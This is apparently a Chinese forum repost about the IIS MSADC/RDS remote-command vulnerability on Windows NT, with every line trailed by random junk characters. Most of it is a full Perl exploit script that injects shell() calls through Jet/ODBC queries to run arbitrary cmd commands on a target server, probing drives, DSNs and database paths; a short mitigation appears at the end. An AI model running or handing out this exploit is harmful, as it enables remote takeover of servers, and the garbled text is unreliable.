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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) E)*ht;u  
mF 1f(  
涉及程序: {!2K-7;  
Microsoft NT server rUKg<]&@  
Biv)s@"f-Q  
描述: -Lq+FTezE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7i"b\{5  
%6Gg&Y$j!  
详细: _HwA%=>7  
如果你没有时间读详细内容的话,就删除: c6:uM1V{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lj<Sa  
有关的安全问题就没有了。 p-s\D_  
i9ySD  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 B#g~c<4<  
0qN`-0Yk  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 _mm(W=KiL  
关于利用ODBC远程漏洞的描述,请参看:  ] 2 `%i5  
'Ix@<$~i3F  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l= {Y[T&  
j@4MV^F2c  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 _[[0rn$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %IO*(5f  
7hk<{gnr  
这里不再论述。 ^Laqq%PI  
MFq?mZ,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: aU6l>G`w  
wNmpUO ?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ]gBnzh.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q(n"r0)=  
`NtW+v  
vEI{AmogRx  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Zu"qTJE/1  
uw3vYYFX  
#!perl xKu#O H  
# znrO~OK  
# MSADC/RDS 'usage' (aka exploit) script Rw'}>?k]  
# 8&EJ. CQ  
# by rain.forest.puppy 3k'Bje?9~  
# [63\2{_^v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4. R(`#f  
# beta test and find errors! ,&BNN]k  
>az~0PeEL  
use Socket; use Getopt::Std; =][ )|n  
getopts("e:vd:h:XR", \%args); RI*n]HNgy+  
j sPavY  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; i8?oe%9l  
[!)HWgx  
if (!defined $args{h} && !defined $args{R}) { ChK-L6  
print qq~ (xo`*Q,+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5Y+YN1  
-h <host> = host you want to scan (ip or domain) yy3x]%KK  
-d <seconds> = delay between calls, default 1 second AFi_P\X  
-X = dump Index Server path table, if available J$6WUz:?  
-v = verbose 1 *' /B  
-e = external dictionary file for step 5 g|Lbe4?  
bll[E}E|3  
Or a -R will resume a command session *)RKU),3nL  
6>]  
~; exit;} T+L=GnYl  
OJu>#   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; O84:ejro  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (G F}c\=T7  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} aV$kxzEc  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); mo^E8t.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ,ciX *F"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?t%{2a<X  
s~{rC{9X  
if (!defined $args{R}){ $ret = &has_msadc; !L.R"8!  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )B]s.w  
vb[0H{TT2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" '9!_:3[d\]  
. "cmd /c "; (#y2R F8j  
$in=<STDIN>; chomp $in; g7! LX[  
$command="cmd /c " . $in ; $1ovT8  
E n7~wKF  
if (defined $args{R}) {&load; exit;} ;+DEU0|pe  
t]SB .ja  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *IOrv)  
&try_btcustmr; <}lah%4F  
[2,D]e  
print "\nStep 2: Trying to make our own DSN..."; I/w;4!+)  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }K?b2 6`  
;t*SG*Vi  
print "\nStep 3: Trying known DSNs..."; Gy \ ]j  
&known_dsn; (l%?YME  
68j1s vz9  
print "\nStep 4: Trying known .mdbs..."; <%YW/k"o  
&known_mdb; `<g]p-=":  
PPl o0R  
if (defined $args{e}){ 2OUx@Vj  
print "\nStep 5: Trying dictionary of DSN names..."; !-)!UQ~|8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } <-.@,HQ+  
sl-wNIQ  
print "Sorry Charley...maybe next time?\n"; $,K@xq5  
exit; DY#195H  
w4P;Z-Cd  
############################################################################## I8! .n  
/)kJ iV  
sub sendraw { # ripped and modded from whisker ?lkB{-%rQ  
sleep($delay); # it's a DoS on the server! At least on mine... \i+AMduAo  
my ($pstr)=@_; EPJ>@A>;D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LilK6K  
die("Socket problems\n"); B:X%k/{  
if(connect(S,pack "SnA4x8",2,80,$target)){ hV~M!vFxA  
select(S); $|=1; WSMpX -^e@  
print $pstr; my @in=<S>; B9|s`o)!  
select(STDOUT); close(S); dDA8IW![S  
return @in; @&G}'6vF!  
} else { die("Can't connect...\n"); }} - BWf.  
)Wle CS_  
############################################################################## qR aPh:Q'  
kxKb}> =  
sub make_header { # make the HTTP request f?:=@35  
my $msadc=<<EOT /ckk qk"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 rGQD+ d  
User-Agent: ACTIVEDATA 3Iqvc v  
Host: $ip ?5CE<[  
Content-Length: $clen hqln6m  
Connection: Keep-Alive .tKBmq0xo"  
Xps \+l%i  
ADCClientVersion:01.06 &OJ?Za@p@)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hY!ek;/Gc  
vLxaZWr  
--!ADM!ROX!YOUR!WORLD! 5/Qu5/  
Content-Type: application/x-varg "Bwz Fh  
Content-Length: $reqlen 4!Radl3`  
&Z>??|f  
EOT \)5mO 8w  
; $msadc=~s/\n/\r\n/g; aAe`o2Xs  
return $msadc;} <.Zh{"$qo  
OK v2..8  
############################################################################## w2xD1oK~o  
5wW5 n5YS  
sub make_req { # make the RDS request Sed 8Q-m  
my ($switch, $p1, $p2)=@_; Ej)7[  
my $req=""; my $t1, $t2, $query, $dsn; @?e~l:g})g  
y0Gblza  
if ($switch==1){ # this is the btcustmr.mdb query c$,1j%[)  
$query="Select * from Customers where City=" . make_shell(); ^;ZpK@Luk  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . -HGRrWS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9<0yz?b':  
8H-yT1  
elsif ($switch==2){ # this is general make table query c $r"q :\  
$query="create table AZZ (B int, C varchar(10))"; k9oi8G'g~  
$dsn="$p1";} SrH::-{  
@p~scE.#\  
elsif ($switch==3){ # this is general exploit table query 6O,k! y>  
$query="select * from AZZ where C=" . make_shell(); #w%-IhP  
$dsn="$p1";} V|@bITJ?7  
N {{MMIq  
elsif ($switch==4){ # attempt to hork file info from index server 0^tY|(b3/M  
$query="select path from scope()"; ##BbR  
$dsn="Provider=MSIDXS;";} D N)o|p  
wbJBGT{sm  
elsif ($switch==5){ # bad query `Y.~eE  
$query="select"; F?tWx+N<{  
$dsn="$p1";} q6rkp f,Tl  
EpO2%|@  
$t1= make_unicode($query); @5wc 3y  
$t2= make_unicode($dsn); WZ>nA[/  
$req = "\x02\x00\x03\x00"; FRR05%K  
$req.= "\x08\x00" . pack ("S1", length($t1)); u=Ik&^v Wq  
$req.= "\x00\x00" . $t1 ; LZ_0=Xx%  
$req.= "\x08\x00" . pack ("S1", length($t2)); )#z{P[X^  
$req.= "\x00\x00" . $t2 ; ;_SSR8uHv  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \"$P :Uv  
return $req;} "p3<-06  
IagM#}m@  
############################################################################## ~tWh6-:|{J  
c_ncx|dUs  
sub make_shell { # this makes the shell() statement Wcc4/:`Hu  
return "'|shell(\"$command\")|'";} [uGsF0#e  
T8Mqu`$r  
############################################################################## l0^cdl-  
,vmn{gz  
sub make_unicode { # quick little function to convert to unicode LDEc}XXb  
my ($in)=@_; my $out; ~b*]jZwT  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /0qbRk i  
return $out;} p~3 x=X4  
awo'#Y2>  
############################################################################## *<S>PbqLw  
sgi5dQ  
sub rdo_success { # checks for RDO return success (this is kludge) nK03xYA  
my (@in) = @_; my $base=content_start(@in); smfI+Z S"  
if($in[$base]=~/multipart\/mixed/){ D|Q7dIZm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} (_4DZMf  
return 0;} L!*+: L DL  
?Xvy0/s5  
############################################################################## #S9J9k  
{|>Wwa2e  
sub make_dsn { # this makes a DSN for us [m{sl(Q  
my @drives=("c","d","e","f"); %m dtVQ@  
print "\nMaking DSN: "; xE;O =mI  
foreach $drive (@drives) { b MD|  
print "$drive: "; ^?H|RAp  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $m#^0%  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5b/ ~]v  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -t S\  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :,JjN&  
return 0 if $2 eq "404"; # not found/doesn't exist ]i(/T$?~  
if($2 eq "200") { ^wWbW&<Tg  
foreach $line (@results) { O=+$X Pa|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} yIn$ApSGY  
} return 0;} ? -:2f#bC  
C`t @tgT  
############################################################################## W9w*=W )Z  
@ :Zk,   
sub verify_exists { P~{8L.w!>W  
my ($page)=@_; }NyQ<,+mq&  
my @results=sendraw("GET $page HTTP/1.0\n\n"); u$^tRz9  
return $results[0];} WN=0s  
V6P-?Nd  
############################################################################## uU3A,-{-  
,.0bE 9\o  
sub try_btcustmr { `WXlq#:K  
my @drives=("c","d","e","f"); h-1?c\Qq:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =3(Auchl$Y  
ou-UR5  
foreach $dir (@dirs) { l90"1I A  
print "$dir -> "; # fun status so you can see progress :!g|pd[{ag  
foreach $drive (@drives) { v =y 2  
print "$drive: "; # ditto \Aro Sy9  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; y(QFf*J  
$reqlenlen=length( "$reqlen" ); ;x\oY6:  
$clen= 206 + $reqlenlen + $reqlen; :Q"|%#P  
R6(:l; W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); hm73Zy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~x8nC%qPvq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} pAatv;Ex  
uEJ8Lmi  
############################################################################## xA(z/%  
:6lvX$  
sub odbc_error {  iiQn/%  
my (@in)=@_; my $base; !5lV#w!vb  
my $base = content_start(@in); ?< b{  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J?3/L&seA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )pHlWi|h  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7?R600OA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dWQsC|  
return $in[$base+4].$in[$base+5].$in[$base+6];} u|t l@_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 8-x-?7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . L_Gw:"-+Q  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 70 7( LG  
op9dYjG7  
############################################################################## b*?u+tWP_  
?p@J7{a  
sub verbose { WuU wd#e  
my ($in)=@_; uRko[W(  
return if !$verbose; !-7n69:G  
print STDOUT "\n$in\n";} i WD|F-  
4l  ZK@3  
############################################################################## 0i_:J  
klJ21j0Bb2  
sub save { ;B=aK"\  
my ($p1, $p2, $p3, $p4)=@_; ia'z9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; jj[6oNKE1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fYUV[Gm  
close OUT;} =p'+kS+  
 '?9zL*  
############################################################################## VGQ~~U7}@  
O,B\|pd2  
sub load { 9 5mf  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2g{tzR_j  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -n05Z@7  
@p=<IN>; close(IN); X-HE9PT.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); k B>F(^  
$target= inet_aton($ip) || die("inet_aton problems"); AChz}N$C  
print "Resuming to $ip ..."; ^MvuFA ,C  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; AVpg  
if($p[1]==1) { ]Orx %8QS!  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; g&FTX>wX  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; g.Xk6"kO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %)r ~GCd  
if (rdo_success(@results)){print "Success!\n";} oa:YAq T  
else { print "failed\n"; verbose(odbc_error(@results));}} /J#(8p  
elsif ($p[1]==3){ )cJ>&g4]  
if(run_query("$p[3]")){ vt#;j;liG  
print "Success!\n";} else { print "failed\n"; }} w95M B*N  
elsif ($p[1]==4){ o]oiJvOr  
if(run_query($drvst . "$p[3]")){ &+2l#3}  
print "Success!\n"; } else { print "failed\n"; }} 06pvI}   
exit;} _Ub `\ytx  
>lRZvf-i  
############################################################################## G7CeWfS  
ls@]%pz.1d  
sub create_table { (P)G|2=  
my ($in)=@_; Q|AZv>'!  
$reqlen=length( make_req(2,$in,"") ) - 28; xN-,gT'!  
$reqlenlen=length( "$reqlen" ); g5B TZZ  
$clen= 206 + $reqlenlen + $reqlen; |HK:\)L%  
my @results=sendraw(make_header() . make_req(2,$in,"")); ZUQ _u  
return 1 if rdo_success(@results); 4 ThFC  
my $temp= odbc_error(@results); verbose($temp); ~w>h#{RB  
return 1 if $temp=~/Table 'AZZ' already exists/; 1Nt &+o  
return 0;} , Z"<-%3  
EG>?>K_D  
############################################################################## r9 @=d  
EraGG"+  
sub known_dsn { y>a?<*Y+e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go y'_8b=*  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^AP8T8v  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", X .t4;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); q?(] Y*  
]1!" q40)]  
foreach $dSn (@dsns) { sW[-qPK<  
print "."; jfuHZ^YA  
next if (!is_access("DSN=$dSn")); qE~_}4\Z9  
if(create_table("DSN=$dSn")){ AYbO~_a\N  
print "$dSn successful\n"; eQbHf  
if(run_query("DSN=$dSn")){ <>3)S`C`p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { IO+]^nY `  
print "Something's borked. Use verbose next time\n";}}} print "\n";} sasurR|;  
6z9 '|;,4  
############################################################################## (wDE!H7  
`$T$483/  
sub is_access { F_ F"3'[  
my ($in)=@_; cszvt2BIg  
$reqlen=length( make_req(5,$in,"") ) - 28; sAkr-x?+M  
$reqlenlen=length( "$reqlen" ); J$3g3%t  
$clen= 206 + $reqlenlen + $reqlen; _M^.4H2  
my @results=sendraw(make_header() . make_req(5,$in,"")); 5WQl?yMP  
my $temp= odbc_error(@results); %T/@/,7h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); K!-OUm5A  
return 0;} ntW@Fm:bw>  
9|+6@6VY!  
############################################################################## [*',pG  
s6bsVAO>  
sub run_query { bHwEd%f  
my ($in)=@_; I^ ?tF'E  
$reqlen=length( make_req(3,$in,"") ) - 28; kU<t~+  
$reqlenlen=length( "$reqlen" ); l[}4 X/  
$clen= 206 + $reqlenlen + $reqlen; T D _@0Rd  
my @results=sendraw(make_header() . make_req(3,$in,""));  z:,PwLU  
return 1 if rdo_success(@results); eM5?fE&!&  
my $temp= odbc_error(@results); verbose($temp); Zzlf1#26\  
return 0;} [oLV,O|s|j  
^po@U"  
############################################################################## L)sgW(@2  
[qYr~:`-[  
sub known_mdb { qyH -Z@  
my @drives=("c","d","e","f","g"); h|qJ{tUWc$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "D(Lp*3hj&  
my $dir, $drive, $mdb; `R[Hxi  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .hl_zc#  
bNea5u##  
# this is sparse, because I don't know of many Aedf (L7\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @Wu-&Lb  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", L:G#>  
"\\system32\\certmdb.mdb", `%C-7D'?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% j_Szw w-  
V'vR(Wx  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Gt`7i(  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4%(Ji  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Cx7-I0!  
"\\cfusion\\cfapps\\security\\realm_.mdb", !U^{`V jp[  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", +hxG!o?O  
"\\cfusion\\database\\cfexamples.mdb", A6&*VD  
"\\cfusion\\database\\cfsnippets.mdb", d#ir=+o{h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G7%bY  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", gYKz,$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 2B,O/3y  
"\\cfusion\\database\\smpolicy.mdb", Ed9Uw 7  
"\\cfusion\\database\cypress.mdb", D|;O9iks#  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6%v9o?:~l  
"\\website\\cgi-win\\dbsample.mdb", -=ZL(r 1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .G0 N+)  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Luq4q95]  
); #these are just a{5SOe;;  
foreach $drive (@drives) { #z `W ,^C  
foreach $dir (@dirs){ ,erw(7}'.  
foreach $mdb (@sysmdbs) { @A/k"Ax{r  
print "."; 1vj/6L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  F!omkN  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `9~ %6N?7#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ "/W[gP[y%  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3N7H7(IR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} )g0fN+Mb  
{0zn~+  
foreach $drive (@drives) { M;(,0dk  
foreach $mdb (@mdbs) { ',+yD9 @  
print "."; BrV{X&>[i  
if(create_table($drv . $drive . $dir . $mdb)){ Z~5) )5Ye;  
print "\n" . $drive . $dir . $mdb . " successful\n"; xUo6~9s7  
if(run_query($drv . $drive . $dir . $mdb)){ m~=~DMj  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; $<}c[Nm  
} else { print "Something's borked. Use verbose next time\n"; }}}} #~u0R>=  
} LFp "Waiv  
o5 L^  
############################################################################## F@w; .e!  
NTg@UT <  
sub hork_idx { IrLGAQ0  
print "\nAttempting to dump Index Server tables...\n"; qL(Q1O!  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; }r:o8+4  
$reqlen=length( make_req(4,"","") ) - 28; T<AT&4  
$reqlenlen=length( "$reqlen" ); ep0,4!#FAO  
$clen= 206 + $reqlenlen + $reqlen; !IxO''4  
my @results=sendraw2(make_header() . make_req(4,"","")); S{@}ECla  
if (rdo_success(@results)){ zkQ[<  
my $max=@results; my $c; my %d; +X}i%F'  
for($c=19; $c<$max; $c++){ "t@p9>  
$results[$c]=~s/\x00//g; 9Em#Ela  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C8N)!5(A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; r"h;JC/&<T  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [Kg b#L'{  
$d{"$1$2"}="";} |c_qq Bd  
foreach $c (keys %d){ print "$c\n"; } jc} G+|`  
} else {print "Index server doesn't seem to be installed.\n"; }} !vnQ;g5  
vF$i"^;tJ;  
############################################################################## 2-&EkF4p'  
7s9h:/Lu  
sub dsn_dict { wj|Zn+{"nF  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Vz{+3vfra6  
while(<IN>){ ?6#won  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; sDY~jP[Oa  
next if (!is_access("DSN=$dSn")); IK~&`n](>  
if(create_table("DSN=$dSn")){ [6/ QUD8  
print "$dSn successful\n"; \ mqx '  
if(run_query("DSN=$dSn")){ c8RJOc4X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }aCa2%  
print "Something's borked. Use verbose next time\n";}}} #YUaM<O  
print "\n"; close(IN);} 1<@SMcj>  
mkl{Tp*  
############################################################################## ,$P,x  
Y +gY"  
sub sendraw2 { # ripped and modded from whisker _T=g?0 q  
sleep($delay); # it's a DoS on the server! At least on mine... VFHd2Ea(  
my ($pstr)=@_; LF<&gC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,Kit@`P%  
die("Socket problems\n"); 8`Ya7c>  
if(connect(S,pack "SnA4x8",2,80,$target)){ cNs'GfD}  
print "Connected. Getting data"; !3v&+Jrf6  
open(OUT,">raw.out"); my @in; (~T*yH ~  
select(S); $|=1; print $pstr; 2ZH+fV?.  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} U, 6iT  
close(OUT); select(STDOUT); close(S); return @in; ZykMri3bi  
} else { die("Can't connect...\n"); }} I`>U#x*  
s}D>.9  
############################################################################## ]BQYVx/  
y4V:)@ P  
sub content_start { # this will take in the server headers 8% @| /  
my (@in)=@_; my $c; 1I +9?fa  
for ($c=1;$c<500;$c++) { 0}{xH  
if($in[$c] =~/^\x0d\x0a/){ K%(y<%Xp  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } xo:kT)  
else { return $c+1; }}} hy;VvAH 5  
return -1;} # it should never get here actually IRdt:B|@  
O 4 !$  
############################################################################## E+td~&x  
hbjAxioA  
sub funky { l,ENMKA^D  
my (@in)=@_; my $error=odbc_error(@in); sdu?#O+c1  
if($error=~/ADO could not find the specified provider/){ }`"`VLh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; W&z jb>0b0  
exit;} kc,"w\ ai  
if($error=~/A Handler is required/){ ?b7\m":'  
print "\nServer has custom handler filters (they most likely are patched)\n"; L'e_?`!:  
exit;} 8fR(y~_gF  
if($error=~/specified Handler has denied Access/){ U=>S|>daR  
print "\nServer has custom handler filters (they most likely are patched)\n"; k[=qx{Osx%  
exit;}} 0lw>mxN  
X/!_>@`7?  
############################################################################## PnsBDf%v  
Jh[0xb  
sub has_msadc { Onmmcem  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bd>~F7VWs  
my $base=content_start(@results); V\V /2u5-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [ oWkd_dK  
return 0;} Bqx5N"  
GQ_KYS{  
######################## MvVpp;bd  
AeJ ;g  
99m2aT()  
解决方案: ,d G.67  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ``o]i{x  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 DM.lQ0xk  
oy+|:[v:Fk  
拿出来充数 哈哈
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